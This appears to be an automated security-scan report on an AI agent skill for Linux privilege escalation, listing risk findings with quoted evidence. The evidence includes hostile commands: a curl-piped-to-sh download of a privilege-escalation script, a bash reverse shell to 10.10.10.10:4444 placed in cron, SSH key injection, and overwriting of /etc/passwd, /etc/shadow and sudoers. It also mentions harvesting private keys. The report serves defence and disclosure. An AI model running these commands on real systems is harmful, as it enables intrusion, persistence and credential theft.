The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill downloads and executes scripts from unverified external sources, which could lead to unauthorized code execution. Evidence includes:\n
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh (piped execution in SKILL.md).\n
wget followed by chmod +x and execution for LinEnum.sh, lse.sh, and pspy64.\n- [DATA_EXFILTRATION]: The skill includes code for establishing a reverse shell, which can be used to bypass firewall restrictions and exfiltrate data. Evidence:\n
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 appended to cron scripts in SKILL.md.\n- [PERSISTENCE]: The skill documents methods to maintain long-term access to a system through configuration changes. Evidence:\n
Injecting SSH keys into /root/.ssh/authorized_keys.\n
Adding malicious entries to system-wide crontabs in SKILL.md.\n- [PRIVILEGE_ESCALATION]: The skill contains commands to bypass authentication and security controls to obtain root privileges. Evidence:\n
Overwriting /etc/passwd to add a new root-level user.\n
Overwriting /etc/shadow to reset the root password hash.\n
Modifying /etc/sudoers to grant unrestricted privileges to the current user.\n- [COMMAND_EXECUTION]: The skill is primarily a repository of shell commands for system enumeration and exploitation, ranging from SUID binary abuse to kernel exploit execution across all files.\n- [CREDENTIALS_UNSAFE]: The skill encourages the identification and harvesting of sensitive credential files. Evidence:\n
Searching for and reading private SSH keys (id_rsa), configuration files (wp-config.php), and system shadow files.\n- [EXTERNAL_DOWNLOADS]: The skill references external documentation and tools from sources flagged as potentially malicious by security scanners. Evidence:\n
References to https://book.hacktricks.xyz/linux-hardening/privilege-escalation, which has been associated with security risk flags in automated scans.

escalating-linux-privileges